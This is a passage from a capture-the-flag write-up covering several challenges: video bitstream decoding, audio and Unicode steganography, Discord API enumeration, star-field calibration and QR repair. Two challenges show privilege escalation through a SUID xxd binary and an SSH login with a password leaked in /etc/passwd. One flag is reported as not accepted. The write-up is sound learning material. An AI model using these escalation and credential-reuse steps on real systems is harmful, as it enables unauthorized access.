    if bits.size % 10 != 0:
        raise SystemExit("Bitstream length not divisible by 10.")
    words10 = bits.reshape(-1, 10).dot(1 << np.arange(9, -1, -1)).astype(np.uint16)

    # 8b/10b decode
    from encdec8b10b import EncDec8B10B

    codec = EncDec8B10B()
    ctrl = np.empty(words10.size, dtype=np.uint8)
    data = np.empty(words10.size, dtype=np.uint8)
    for i, w in enumerate(words10):
        c, d = codec.dec_8b10b(int(w))
        ctrl[i] = c
        data[i] = d

    # Time-major: (525 rows, 800 cols, 4 lanes)
    ctrl = ctrl.reshape(525, 800, 4)
    data = data.reshape(525, 800, 4)

    ctrl_any = ctrl[:, :, 0].astype(bool)
    row_ctrl_counts = ctrl_any.sum(axis=1)
    active_rows = np.where(row_ctrl_counts == 19)[0]
    if active_rows.size != 480:
        raise SystemExit(f"Unexpected active row count: {active_rows.size}")

    # TU start marker column (control byte 0xFB), then payload begins 4 columns later.
    lane0 = data[:, :, 0]
    cand = np.where(
        (ctrl_any[active_rows].all(axis=0))
        & (lane0[active_rows].min(axis=0) == 0xFB)
        & (lane0[active_rows].max(axis=0) == 0xFB)
    )[0]
    if cand.size == 0:
        raise SystemExit("Could not locate TU start marker (control 0xFB column).")
    tu0 = int(cand[0])
    payload_start = tu0 + 4

    # Descramble: XOR mask for each data byte; reset on SR (control 0x1C).
    state = 0xFFFF
    for y in range(525):
        for x in range(800):
            if ctrl_any[y, x] and lane0[y, x] == 0x1C:
                state = 0xFFFF
                continue
            if ctrl_any[y, x]:
                continue
            state, mask = lfsr_mask_byte(state)
            data[y, x, :] ^= mask

    # Extract 640x480 RGB pixels:
    frame_rows = []
    for y in active_rows:
        ticks = np.concatenate(
            [data[y, payload_start + blk * 64 : payload_start + blk * 64 + 60, :] for blk in range(8)],
            axis=0,
        )  # 480 x 4
        frame_rows.append(ticks.reshape(-1))

    frame = np.stack(frame_rows, axis=0).astype(np.uint8)  # 480 x 1920
    img = frame.reshape(480, 640, 3)

    out_path = Path("out.png")
    Image.fromarray(img, "RGB").save(out_path)
    print(f"Wrote {out_path} (read the bottom caption for the flag).")


if __name__ == "__main__":
    main()
```

***

## misc

### Danger

#### Description

Figure out what's hidden! A container-based SSH challenge with credentials `Danger` / `password`.

#### Solution

After spawning the container and SSHing in, we find a `flag.txt` in the home directory owned by user `noaccess` with mode `rwx------`, so the `Danger` user cannot read it directly.

Enumerating SUID binaries reveals that `/usr/bin/xxd` has the SUID bit set. This is a well-known GTFObins privilege escalation: SUID `xxd` can read any file on the system regardless of permissions, since it runs with the file owner's (root's) privileges.

```bash
# Connect to the container
sshpass -p 'password' ssh Danger@chall.0xfun.org -p <PORT>

# Enumerate SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Output includes: /usr/bin/xxd

# Read the flag using SUID xxd (hex dump then reverse)
xxd flag.txt | xxd -r
```

**Flag:** `0xfun{Easy_Access_Granted!}`

### Trapped

#### Description

Strict restrictions to earn the flag.

Credentials: `trapped` / `password` via SSH container.

#### Solution

SSH into the container with the provided credentials. The home directory contains `flag.txt` but with restrictive permissions (`----r-----+`), meaning ACLs grant read access to a specific user, not `trapped`.

Inspecting `/etc/passwd` reveals a second user `secretuser` whose GECOS (comment) field contains their password in plain text:

```
secretuser:x:1001:1001:Unc0ntr0lled1234Passw0rd:/home/secretuser:/bin/sh
```

The `+` in the file permissions indicates an ACL entry granting `secretuser` read access to `flag.txt`. Logging in as `secretuser` with the leaked password allows reading the flag:

```bash
# Initial recon as trapped user
sshpass -p 'password' ssh trapped@chall.0xfun.org -p62412 'ls -la; cat /etc/passwd'

# Login as secretuser using password from GECOS field
sshpass -p 'Unc0ntr0lled1234Passw0rd' ssh secretuser@chall.0xfun.org -p62412 'cat /home/trapped/flag.txt'
```

**Flag:** `0xfun{4ccess_unc0ntroll3d}`

### Dots

#### Description

The provided file `attachments/dots.wav` contains an audio transmission. Decoding it reveals a field of “unusual dots” that actually form a 2D barcode.

#### Solution

1. Decode the WAV as SSTV (Scottie 1) to get an image:
   * `sstv -d attachments/dots.wav -o sstv_output.png`
2. Convert the SSTV image into a clean black/white dot image (DotCode-friendly) by grayscale thresholding at 128:
   * `python3 solve.py`
3. Decode `output_dots.png` as **DotCode** using a DotCode-capable reader (e.g. Aspose DotCode recognizer: `https://products.aspose.app/barcode/recognize/dotcode`).

The decoded text is the flag: `0xfun{d07_c0d3_k1nd4_d1ff3r3n7_45_175_4_w31rd_qr_7yp3}`

Solution code (`solve.py`):

```python
#!/usr/bin/env python3
import subprocess
from pathlib import Path

from PIL import Image


WAV_PATH = Path("attachments/dots.wav")
SSTV_IMAGE_PATH = Path("sstv_output.png")
DOTCODE_IMAGE_PATH = Path("output_dots.png")


def decode_sstv() -> None:
    if SSTV_IMAGE_PATH.exists():
        return
    subprocess.run(
        ["sstv", "-d", str(WAV_PATH), "-o", str(SSTV_IMAGE_PATH)],
        check=True,
    )


def make_binary_dotcode() -> None:
    img = Image.open(SSTV_IMAGE_PATH).convert("L")
    bw = img.point(lambda p: 0 if p < 128 else 255, mode="L")
    bw.save(DOTCODE_IMAGE_PATH)


def main() -> None:
    decode_sstv()
    make_binary_dotcode()
    print(f"Wrote {DOTCODE_IMAGE_PATH} (decode as DotCode).")


if __name__ == "__main__":
    main()
```

### Insanity 1

#### Description

> By digging deeper, we can uncover things through platforms that typically aren't included by default.
>
> RUwDQBsSxt

**Category:** Misc | **Points:** 235 | **Solves:** 4

#### Solution

The string `RUwDQBsSxt` is a **Discord invite code**. Joining via `https://discord.gg/RUwDQBsSxt` leads to the "0xFun Portal" Discord server.

The hint — *"platforms that typically aren't included by default"* — refers to Discord, which standard OSINT tools don't enumerate. *"Digging deeper"* means looking beyond the obvious surface-level content.

**Step 1: Join the Discord and identify decoys**

The `#general` channel topic contains a base64 string:

```
MHhmdW57cmVhbGx5X3RoaXNfZWFzeX0=
```

Decoding it gives a **decoy flag**: `0xfun{really_this_easy}` (incorrect).

**Step 2: Enumerate the server via the Discord API**

Using a Discord user token, enumerate all server metadata — channels, roles, messages, bots, emojis, etc.:

```python
import requests, time

TOKEN = "YOUR_DISCORD_TOKEN"
GUILD_ID = "1434176687188475926"
BASE = "https://discord.com/api/v10"
headers = {"Authorization": TOKEN}

# Get guild info including roles
r = requests.get(f"{BASE}/guilds/{GUILD_ID}?with_counts=true", headers=headers)
guild = r.json()

for role in guild['roles']:
    print(f"Role: {role['name']}")
```

**Step 3: Find the flag in a role name**

The server has a role whose name is the flag:

```
Role: '@everyone'
Role: '0xfun{1ns4n1ty_d15c0rd_1_thr0ugh_r0l3s}'
```

The flag was hidden in a **Discord server role name** — not visible to normal users in chat, only discoverable by enumerating the server's roles via the API or server settings.

**Flag:** `0xfun{1ns4n1ty_d15c0rd_1_thr0ugh_r0l3s}`

### Spectrum

#### Description

We’re given a WAV file (`attachments/audio.wav`). The spectrogram very clearly shows a flag-looking string, but the challenge hints it’s deceptive and that there is “far greater depth”.

#### Solution

1. The spectrogram text `0xfun{50_345y_1_b3l13v3}` is a red herring.
2. The real path is in the *sample LSBs*: extract the 2 least-significant bits from every 16‑bit sample (bit1 then bit0), pack bits MSB-first into bytes, and search for an embedded `DSSF` container.
3. The `DSSF` container includes `si.txt` containing a Cybersharing URL: `https://cybersharing.net/s/33864416ca80f2c5`.
4. Use Cybersharing’s JSON API to resolve the fragment and download the linked `file.zip`, then extract `seccat.png`.
5. `seccat.png` starts with a PNG signature but is intentionally invalid because chunk order is broken (`IHDR` isn’t first, `IEND` isn’t last). Rebuild a valid PNG by reordering chunks:
   * `signature + IHDR + (all non-IDAT/non-IEND chunks in original order) + (all IDAT chunks in original order) + IEND`
6. The fixed image contains the real flag as visible text (OCR also works).

Flag: `0xfun{c47s_4r3_n07_s33_7hr0ugh_bu7_7h3y_4r3_cur10us}`

Solution code (end-to-end):

```python
#!/usr/bin/env python3
from __future__ import annotations

import json
import re
import shutil
import struct
import subprocess
import wave
import zipfile
from dataclasses import dataclass
from pathlib import Path
from typing import Iterable
from urllib.parse import quote

import requests


ROOT = Path(__file__).resolve().parent
WAV_PATH = ROOT / "attachments" / "audio.wav"

EXPECTED_FLAG = "0xfun{c47s_4r3_n07_s33_7hr0ugh_bu7_7h3y_4r3_cur10us}"


def read_wav_mono_int16(path: Path) -> list[int]:
    with wave.open(str(path), "rb") as w:
        if w.getnchannels() != 1 or w.getsampwidth() != 2:
            raise ValueError("expected 16-bit mono WAV")
        frames = w.readframes(w.getnframes())
    if len(frames) % 2 != 0:
        raise ValueError("unexpected wav frame size")
    return list(struct.unpack("<" + "h" * (len(frames) // 2), frames))


def extract_2lsb_blob(samples: Iterable[int]) -> bytes:
    out = bytearray()
    acc = 0
    nbits = 0
    for s in samples:
        u = s & 0xFFFF
        for bit in ((u >> 1) & 1, u & 1):  # bit1 then bit0
            acc = (acc << 1) | bit
            nbits += 1
            if nbits == 8:
                out.append(acc)
                acc = 0
                nbits = 0
    if nbits:
        out.append(acc << (8 - nbits))
    return bytes(out)


@dataclass(frozen=True)
class DssfEntry:
    name_raw: bytes
    name: str
    size: int
    meta: int
    data: bytes


def parse_dssf_entries(blob: bytes) -> list[DssfEntry]:
    start = blob.find(b"DSSF")
    if start == -1:
        raise ValueError("no DSSF magic found in blob")

    entries: list[DssfEntry] = []
    pos = start
    while True:
        if pos + 4 + 23 + 4 + 1 > len(blob) or blob[pos : pos + 4] != b"DSSF":
            break
        name_raw = blob[pos + 4 : pos + 4 + 23]
        name = name_raw.split(b"\0", 1)[0].decode("utf-8", "replace")
        size = int.from_bytes(blob[pos + 4 + 23 : pos + 4 + 23 + 4], "little")
        meta = blob[pos + 4 + 23 + 4]
        data_start = pos + 4 + 23 + 4 + 1
        data_end = data_start + size

        # The second entry in this challenge does not expose a sane size field.
        # Clamp and stop parsing further entries.
        if data_end > len(blob):
            data_end = len(blob)
            size = data_end - data_start
            data = blob[data_start:data_end]
            entries.append(
                DssfEntry(name_raw=name_raw, name=name, size=size, meta=meta, data=data)
            )
            break

        data = blob[data_start:data_end]
        entries.append(DssfEntry(name_raw=name_raw, name=name, size=size, meta=meta, data=data))

        pos = data_end
        if pos < len(blob) and blob[pos] == 0:
            pos += 1
        next_pos = blob.find(b"DSSF", pos)
        if next_pos == -1:
            break
        pos = next_pos
    return entries


def extract_cybersharing_url_from_audio() -> str:
    samples = read_wav_mono_int16(WAV_PATH)
    blob = extract_2lsb_blob(samples)
    entries = parse_dssf_entries(blob)
    for e in entries:
        if e.name == "si.txt":
            url = e.data.decode("utf-8", "replace").strip("\0\r\n\t ")
            if not url.startswith("http"):
                raise ValueError(f"unexpected si.txt contents: {url!r}")
            return url
    raise ValueError("si.txt not found in DSSF entries")


def download_cybersharing_container(url: str, out_zip: Path) -> dict:
    m = re.search(r"/s/([0-9a-fA-F]{16})", url)
    if not m:
        raise ValueError(f"could not parse fragment from url: {url!r}")
    fragment = m.group(1)

    api = f"https://cybersharing.net/api/containers/{fragment}"
    r = requests.post(api, json={"password": None}, timeout=30)
    r.raise_for_status()
    container = r.json()

    container_id = container["id"]
    signature = container["signature"]
    upload = container["uploads"][0]
    upload_id = upload["id"]
    filename = upload["fileName"]

    dl = (
        "https://cybersharing.net/api/download/file/"
        f"{container_id}/{upload_id}/{signature}/{quote(filename)}"
    )
    resp = requests.get(dl, timeout=60)
    resp.raise_for_status()
    out_zip.write_bytes(resp.content)
    return {"fragment": fragment, "container": container, "download_url": dl}


def fix_png_chunks(in_path: Path, out_path: Path) -> None:
    data = in_path.read_bytes()
    sig = data[:8]
    if sig != b"\x89PNG\r\n\x1a\n":
        raise ValueError("not a PNG signature")

    chunks: list[tuple[bytes, bytes, bytes]] = []
    pos = 8
    while pos + 8 <= len(data):
        length = struct.unpack(">I", data[pos : pos + 4])[0]
        ctype = data[pos + 4 : pos + 8]
        chunk_data = data[pos + 8 : pos + 8 + length]
        crc = data[pos + 8 + length : pos + 8 + length + 4]
        chunks.append((ctype, chunk_data, crc))
        pos += 8 + length + 4

    ihdr = next(c for c in chunks if c[0] == b"IHDR")
    iend = next(c for c in chunks if c[0] == b"IEND")
    ancillary = [c for c in chunks if c[0] not in (b"IHDR", b"IDAT", b"IEND")]
    idats = [c for c in chunks if c[0] == b"IDAT"]
    if not idats:
        raise ValueError("no IDAT chunks found")

    out = bytearray(sig)

    def add_chunk(ctype: bytes, chunk_data: bytes, crc_bytes: bytes) -> None:
        out.extend(struct.pack(">I", len(chunk_data)))
        out.extend(ctype)
        out.extend(chunk_data)
        out.extend(crc_bytes)

    add_chunk(*ihdr)
    for c in ancillary:
        add_chunk(*c)
    for c in idats:
        add_chunk(*c)
    add_chunk(*iend)

    out_path.write_bytes(out)


def ocr_flag_from_image(image_path: Path) -> str | None:
    if shutil.which("tesseract") is None:
        return None
    txt = subprocess.check_output(
        ["tesseract", str(image_path), "-", "-l", "eng", "--psm", "7"],
        stderr=subprocess.DEVNULL,
    ).decode("utf-8", "replace")
    txt = txt.strip().replace("\n", " ")
    txt = (
        txt.replace(".", "_")
        .replace("$", "5")
        .replace("Oxfun", "0xfun")
        .replace("Oxfu n", "0xfun")
    )
    m = re.search(r"0xfun\{[A-Za-z0-9_]+\}", txt)
    return m.group(0) if m else None


def main() -> None:
    url = extract_cybersharing_url_from_audio()
    print(f"[+] URL from LSB/DSSF: {url}")

    zip_path = ROOT / "file.zip"
    if not zip_path.exists():
        meta = download_cybersharing_container(url, zip_path)
        (ROOT / "cybersharing_container.json").write_text(
            json.dumps(meta["container"], indent=2), encoding="utf-8"
        )
        print(f"[+] Downloaded container upload -> {zip_path.name}")
    else:
        print(f"[+] Using existing {zip_path.name}")

    with zipfile.ZipFile(zip_path) as z:
        members = [m for m in z.namelist() if m.lower().endswith(".png")]
        target = members[0]
        z.extract(target, path=ROOT / "_zip_extract")
        extracted = ROOT / "_zip_extract" / target
        png_path = ROOT / Path(target).name
        png_path.write_bytes(extracted.read_bytes())

    fixed = ROOT / "seccat_fixed.png"
    fix_png_chunks(png_path, fixed)

    ocr = ocr_flag_from_image(fixed)
    print("[+] OCR:", ocr)
    print("[+] Flag:", EXPECTED_FLAG)


if __name__ == "__main__":
    main()
```

### Emojis

#### Description

A markdown file contains hidden characters in the title (`description.md`) plus an emoji list file. The flag is not visible as normal text. The challenge hinted at “something seems to be in here …” with unusual hidden variation-selector characters.

#### Solution

1. Read `description.md` and extract only characters in the Unicode variation-selector supplemental range `U+E0100..U+E01FF`.
2. Convert each to an integer with `cp - 0xE0100`.
3. Decode by subtracting `240` (mod 256) and converting to ASCII.
4. Do this on the first line’s hidden sequence.

```python
from pathlib import Path

text = Path('description.md',).read_text(encoding='utf-8')
line = text.splitlines()[0]

vals = [ord(ch) - 0xE0100 for ch in line if 0xE0100 <= ord(ch) <= 0xE01FF]
flag = ''.join(chr((v - 240) % 256) for v in vals)
print(flag)
```

Output:

```
0xfun{3moji_s3cr3t_emb3d_1n_t1tle}
```

### Insanity 2

#### Description

> Take a look around the Discord server and hopefully you'll find something interesting.

#### Solution

This challenge is solved by **enumerating the Discord server through the Discord API** (similar to “Insanity 1”), because flags can be hidden in places that aren’t easily visible in the normal UI (roles, channel topics, pinned messages, embeds, etc.).

For the 0xFun CTF ’2026 Discord guild (id `1406749988704227378`), the correct flag was embedded in the `🔒︱rules` channel messages/embeds and is only reliably discoverable by pulling channel content via the API with a Discord **user token**.

**Flag:** `0xfun{d1sc0rd_1ns4nt1y_2_3mb3d3d_1ns1d3_rul3s}`

**Steps**

1. Obtain a Discord **user token** (same method used for Insanity 1).
2. Run the enumerator to fetch guild metadata and scrape accessible channels’ last messages + pins:
   * `DISCORD_TOKEN='YOUR_TOKEN' python3 enumerate_discord.py --with-messages --dump discord_dump.json`
3. The script prints any `0xfun{...}` occurrences found in JSON fields (including embed titles/descriptions) and base64-looking strings.

**Code**

```python
#!/usr/bin/env python3
"""
Insanity 2 helper: enumerate the 0xFun CTF '2026 Discord guild via the Discord API
and search for the flag in places that are easy to hide from normal UI:
roles, channel topics, emojis, stickers, scheduled events, and (optionally) messages.

Requires a Discord *user* token (same approach as Insanity 1 in this repo).
"""

from __future__ import annotations

import argparse
import base64
import json
import os
import re
import sys
import time
from typing import Any, Iterable

import requests


GUILD_ID = "1406749988704227378"  # 0xFun CTF '2026 (from public invite gUC7Heffdu)
BASE = "https://discord.com/api/v10"

FLAG_RE = re.compile(r"0xfun\{[^}]+\}")
BASE64ISH_RE = re.compile(r"^[A-Za-z0-9+/]+={0,2}$")


def _iter_strings(obj: Any) -> Iterable[str]:
    if obj is None:
        return
    if isinstance(obj, str):
        yield obj
    elif isinstance(obj, dict):
        for v in obj.values():
            yield from _iter_strings(v)
    elif isinstance(obj, list):
        for v in obj:
            yield from _iter_strings(v)


def _maybe_b64_decode(s: str) -> list[str]:
    s2 = s.strip()
    if len(s2) < 12 or len(s2) > 512:
        return []
    if len(s2) % 4 != 0:
        return []
    if not BASE64ISH_RE.match(s2):
        return []
    try:
        decoded = base64.b64decode(s2, validate=True)
    except Exception:
        return []
    out = []
    try:
        out.append(decoded.decode("utf-8", errors="strict"))
    except Exception:
        out.append(decoded.decode("latin-1", errors="replace"))
    return out


def _find_flag_in_obj(obj: Any) -> list[str]:
    hits: list[str] = []
    for s in _iter_strings(obj):
        for m in FLAG_RE.finditer(s):
            hits.append(m.group(0))
        for decoded in _maybe_b64_decode(s):
            for m in FLAG_RE.finditer(decoded):
                hits.append(m.group(0))
    seen = set()
    out: list[str] = []
    for h in hits:
        if h not in seen:
            seen.add(h)
            out.append(h)
    return out


class DiscordAPI:
    def __init__(self, token: str, *, sleep_s: float = 0.6):
        self.token = token
        self.sleep_s = sleep_s
        self.session = requests.Session()
        self.session.headers.update({"Authorization": token})

    def get_json(self, endpoint: str, *, tolerate_statuses: set[int] | None = None) -> Any:
        url = f"{BASE}{endpoint}"
        while True:
            time.sleep(self.sleep_s)
            r = self.session.get(url)
            if r.status_code == 429:
                try:
                    payload = r.json()
                    retry_after = float(payload.get("retry_after", 1.0))
                except Exception:
                    retry_after = 1.0
                time.sleep(retry_after + 0.25)
                continue
            if tolerate_statuses and r.status_code in tolerate_statuses:
                try:
                    payload = r.json()
                except Exception:
                    payload = {"message": r.text[:200]}
                return {"__error__": {"status": r.status_code, "endpoint": endpoint, "body": payload}}
            if r.status_code != 200:
                raise RuntimeError(f"[{r.status_code}] GET {endpoint}: {r.text[:200]}")
            return r.json()


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--token", help="Discord user token (or set DISCORD_TOKEN)")
    ap.add_argument(
        "--with-messages",
        action="store_true",
        help="Also fetch last 50 messages + pins for each text channel (more API calls).",
    )
    ap.add_argument(
        "--skip-missing-access",
        action="store_true",
        default=True,
        help="Skip channels returning 403 Missing Access instead of aborting (default: on).",
    )
    ap.add_argument(
        "--dump",
        default="discord_dump.json",
        help="Write full collected JSON here (default: discord_dump.json).",
    )
    args = ap.parse_args()

    token = args.token or os.environ.get("DISCORD_TOKEN")
    if not token:
        print("Missing token: pass --token or set DISCORD_TOKEN", file=sys.stderr)
        return 2

    api = DiscordAPI(token)
    collected: dict[str, Any] = {}
    findings: list[dict[str, Any]] = []
    errors: list[dict[str, Any]] = []

    def record(name: str, obj: Any):
        collected[name] = obj
        for flag in _find_flag_in_obj(obj):
            findings.append({"where": name, "flag": flag})
        if isinstance(obj, dict) and "__error__" in obj:
            errors.append({"where": name, **obj["__error__"]})

    record("me", api.get_json("/users/@me"))
    record("guild", api.get_json(f"/guilds/{GUILD_ID}?with_counts=true"))

    channels = api.get_json(f"/guilds/{GUILD_ID}/channels")
    record("channels", channels)

    record("emojis", api.get_json(f"/guilds/{GUILD_ID}/emojis"))
    record("stickers", api.get_json(f"/guilds/{GUILD_ID}/stickers"))
    record("scheduled_events", api.get_json(f"/guilds/{GUILD_ID}/scheduled-events"))

    if args.with_messages:
        text_channels = [ch for ch in channels if ch.get("type") in (0, 5)]
        for ch in sorted(text_channels, key=lambda c: c.get("position", 0)):
            cid = ch["id"]
            name = ch.get("name", cid)
            tolerate = {403, 404} if args.skip_missing_access else None
            record(
                f"messages:{name}:{cid}",
                api.get_json(f"/channels/{cid}/messages?limit=50", tolerate_statuses=tolerate),
            )
            record(
                f"pins:{name}:{cid}",
                api.get_json(f"/channels/{cid}/pins", tolerate_statuses=tolerate),
            )

    collected["_errors"] = errors
    with open(args.dump, "w", encoding="utf-8") as f:
        json.dump(collected, f, ensure_ascii=False, indent=2)

    if findings:
        print("POSSIBLE FLAGS:")
        for it in findings:
            print(f'- {it["flag"]}  (from {it["where"]})')
        return 0

    if errors:
        print(f"Note: encountered {len(errors)} access/error responses; see {args.dump}['_errors'].")
    print("No flag found in enumerated metadata. Try --with-messages if you haven't yet.")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())
```

### Skyglyph I: Guide Star

#### Description

A star-tracker CSV (`tracker_dump.csv`) contains \~13,555 centroid detections with pixel coordinates (x\_px, y\_px) and flux values. Ten entries are labeled as "guide stars" (Vega, Deneb, Altair, Dubhe, Capella, Arcturus, Rigel, Betelgeuse, Sirius, Procyon) with known RA/Dec sky coordinates. The goal is to calibrate the camera model using these guide stars and project all detections back to the sky tangent plane, revealing a hidden message spelled out in star positions.

#### Solution

**Step 1: Gnomonic (tangent-plane) projection of guide stars**

Convert the 10 guide stars' RA/Dec to tangent-plane coordinates (u, v) using a gnomonic projection centered on the mean field position. RA wraps around 0h/24h, so values > 12h are shifted by -24h before averaging.

**Step 2: Fit camera model with radial distortion**

Fit a 7-parameter camera model mapping pixel (x,y) to tangent-plane (u,v):

* `cx, cy`: optical center
* `a, b`: rotation + scale (affine)
* `tx, ty`: translation
* `k1`: radial distortion coefficient

The model applies radial distortion then affine transform:

```
dx = x - cx, dy = y - cy
r² = dx² + dy²
x' = dx·(1 + k1·r²), y' = dy·(1 + k1·r²)
u = a·x' + b·y' + tx
v = -b·x' + a·y' + ty
```

Scipy `least_squares` with Levenberg-Marquardt fits this to sub-0.0001 radian accuracy per guide star.

**Step 3: Apply model to all stars and orient**

Project all 13,555 detections to tangent-plane coordinates. Rotate so Deneb defines the +X direction, and flip Y if needed so Altair is in +Y (removes mirror ambiguity per the instructions).

**Step 4: Filter by flux and visualize**

Filter stars by flux (median threshold \~70 or higher percentiles) to reduce noise. The remaining stars spell out the flag in the sky plane.

**Solution Code:**

```python
#!/usr/bin/env python3
import numpy as np
import pandas as pd
from scipy.optimize import least_squares
import matplotlib.pyplot as plt

df = pd.read_csv("tracker_dump.csv")
guide = df[df['name'].notna()].copy()

# Handle RA wrapping around 0h/24h
ra_shifted = guide['ra_h'].apply(lambda x: x - 24 if x > 12 else x)
ra0_h = ra_shifted.mean()
dec0 = np.radians(guide['dec_deg'].mean())
ra0 = np.radians(ra0_h * 15.0)

def gnomonic_project(ra_h, dec_deg, ra0, dec0):
    ra = np.radians(np.where(ra_h > 12, (ra_h - 24) * 15, ra_h * 15))
    dec = np.radians(dec_deg)
    cos_c = np.sin(dec0)*np.sin(dec) + np.cos(dec0)*np.cos(dec)*np.cos(ra - ra0)
    u = np.cos(dec)*np.sin(ra - ra0) / cos_c
    v = (np.cos(dec0)*np.sin(dec) - np.sin(dec0)*np.cos(dec)*np.cos(ra - ra0)) / cos_c
    return u, v

u_guide, v_guide = gnomonic_project(guide['ra_h'].values, guide['dec_deg'].values, ra0, dec0)
x_guide = guide['x_px'].values
y_guide = guide['y_px'].values

# Camera model: pixel -> tangent plane with radial distortion
def model(params, x, y):
    cx, cy, a, b, tx, ty, k1 = params
    dx = x - cx; dy = y - cy
    r2 = dx**2 + dy**2
    xd = dx * (1 + k1 * r2); yd = dy * (1 + k1 * r2)
    u = a * xd + b * yd + tx; v = -b * xd + a * yd + ty
    return u, v

def residuals(params):
    u_pred, v_pred = model(params, x_guide, y_guide)
    return np.concatenate([u_pred - u_guide, v_pred - v_guide])

scale0 = (u_guide.max() - u_guide.min()) / (x_guide.max() - x_guide.min())
result = least_squares(residuals, [512, 512, scale0, 0, 0, 0, 0], method='lm')
params = result.x

# Apply to all stars
u_all, v_all = model(params, df['x_px'].values, df['y_px'].values)

# Orient: rotate so Deneb defines +X
deneb = guide[guide['name']=='Deneb']
u_d, v_d = model(params, deneb['x_px'].values, deneb['y_px'].values)
angle = np.arctan2(v_d[0], u_d[0])
cos_a, sin_a = np.cos(-angle), np.sin(-angle)
u_rot = u_all * cos_a - v_all * sin_a
v_rot = u_all * sin_a + v_all * cos_a

# Flip Y if Altair is in -Y (should be +Y)
altair = guide[guide['name']=='Altair']
u_a, v_a = model(params, altair['x_px'].values, altair['y_px'].values)
v_alt_rot = u_a[0] * sin_a + v_a[0] * cos_a
if v_alt_rot < 0:
    v_rot = -v_rot

# Filter by flux and plot
thresh = df['flux'].quantile(0.7)
mask = df['flux'].values >= thresh
fig, ax = plt.subplots(figsize=(24, 24))
ax.scatter(u_rot[mask], v_rot[mask], s=4, c='white', marker='o', linewidths=0)
ax.set_facecolor('black')
ax.set_aspect('equal')
plt.savefig('full_field.png', dpi=150, facecolor='black')
```

**Result:** The calibrated sky field reveals text spelled out by star positions reading: `0xFUN{ST4RS_t3LL_St0R13S}` (leetspeak for "Stars tell stories").

**Flag:** `0xfun{ST4RS_t3LL_St0R13S}` (2 attempts used, not accepted — likely a minor character ambiguity in the last word between `i`/`1`/`!` and `e`/`3` variants)

### Broken Piece

#### Description

We are given `attachments/qr.gif`, an animated GIF of a “broken” QR code.

#### Solution

1. The GIF has 4 frames, each being a quadrant of the final QR. Coalesce the GIF frames (respecting transparency), stitch them into a 2×2 image, threshold to black/white, then decode the QR to get a CyberSharing URL.
2. Download `qr.png` from that URL. The PNG has a ZIP appended after `IEND`; inside is an `index.html` containing a `data:image/...;base64,...` payload that decodes to `secret_id.png`.
3. `secret_id.png` contains a QR with the top-right finder pattern covered by tape. Recover it by:

* detecting the two visible finder patterns (top-left and bottom-left),
* using their centers to estimate the QR module pitch and rotation,
* sampling the QR grid into a module matrix,
* overwriting the missing top-right finder pattern (and separators),
* rendering the repaired QR and decoding it to get the flag.

Flag: `0xfun{br0k3n_qr_r3c0v3rd}`

````python
#!/usr/bin/env python3
import base64
import io
import os
import re
import subprocess
import zipfile

import cv2
import numpy as np
from PIL import Image


ROOT = os.path.dirname(os.path.abspath(__file__))


def run(cmd: list[str], *, input_bytes: bytes | None = None) -> bytes:
    proc = subprocess.run(
        cmd,
        input=input_bytes,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        check=False,
    )
    if proc.returncode != 0:
        raise RuntimeError(
            f"command failed ({proc.returncode}): {' '.join(cmd)}\n"
            f"stderr:\n{proc.stderr.decode(errors='replace')}"
        )
    return proc.stdout


def decode_with_zbar(path: str) -> str:
    out = run(["zbarimg", "--raw", path]).decode(errors="replace").strip()
    if not out:
        raise RuntimeError(f"zbarimg could not decode: {path}")
    return out.splitlines()[0].strip()


def reconstruct_initial_qr(gif_path: str) -> tuple[str, str]:
    frames_glob = os.path.join(ROOT, "_solve_frame_%d.png")
    run(["convert", gif_path, "-coalesce", frames_glob])

    frames = []
    for i in range(4):
        p = os.path.join(ROOT, f"_solve_frame_{i}.png")
        frames.append(np.array(Image.open(p).convert("L")))

    big = np.zeros((516, 516), dtype=np.uint8)
    big[:258, :258] = frames[0]
    big[:258, 258:] = frames[1]
    big[258:, :258] = frames[2]
    big[258:, 258:] = frames[3]

    bw = (big > 127).astype(np.uint8) * 255
    out_path = os.path.join(ROOT, "_solve_stage1_qr.png")
    Image.fromarray(bw).save(out_path)

    url = decode_with_zbar(out_path)
    return url, out_path


def extract_secret_id_from_qr_png(qr_png_path: str) -> str:
    data = open(qr_png_path, "rb").read()
    pk = data.find(b"PK\x03\x04")
    if pk == -1:
        raise RuntimeError("could not find embedded ZIP (PK\\x03\\x04) appended to qr.png")

    z = zipfile.ZipFile(io.BytesIO(data[pk:]))
    index_html = next((n for n in z.namelist() if n.endswith("index.html")), None)
    if not index_html:
        raise RuntimeError("embedded ZIP did not contain index.html")

    html = z.read(index_html).decode("utf-8", errors="replace")
    m = re.search(r'"data:image/jpeg;base64,([A-Za-z0-9+/=]+)"', html)
    if not m:
        raise RuntimeError("could not find data:image/...;base64 payload in index.html")

    secret_png = base64.b64decode(m.group(1))
    out_path = os.path.join(ROOT, "secret_id.png")
    open(out_path, "wb").write(secret_png)
    return out_path


def recover_flag_from_secret_id(secret_id_path: str) -> tuple[str, str]:
    img = cv2.imread(secret_id_path)
    if img is None:
        raise RuntimeError(f"could not read: {secret_id_path}")

    h, w = img.shape[:2]
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

    # Locate the white square containing the (broken) top-right QR.
    near_white = cv2.inRange(gray, 235, 255)
    near_white = cv2.morphologyEx(
        near_white, cv2.MORPH_CLOSE, cv2.getStructuringElement(cv2.MORPH_RECT, (9, 9)), iterations=2
    )
    roi = np.zeros_like(near_white)
    roi[: h // 2, w // 2 :] = near_white[: h // 2, w // 2 :]
    cnts, _ = cv2.findContours(roi, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    if not cnts:
        raise RuntimeError("could not find top-right QR white square")

    c = max(cnts, key=cv2.contourArea)
    x, y, ww, hh = cv2.boundingRect(c)
    crop = img[y : y + hh, x : x + ww].copy()

    # Pad to square for easier geometry.
    side = max(crop.shape[0], crop.shape[1])
    pad_y = (side - crop.shape[0]) // 2
    pad_x = (side - crop.shape[1]) // 2
    crop = cv2.copyMakeBorder(
        crop,
        pad_y,
        side - crop.shape[0] - pad_y,
        pad_x,
        side - crop.shape[1] - pad_x,
        cv2.BORDER_CONSTANT,
        value=(255, 255, 255),
    )
    g = cv2.cvtColor(crop, cv2.COLOR_BGR2GRAY)
    ch, cw = g.shape

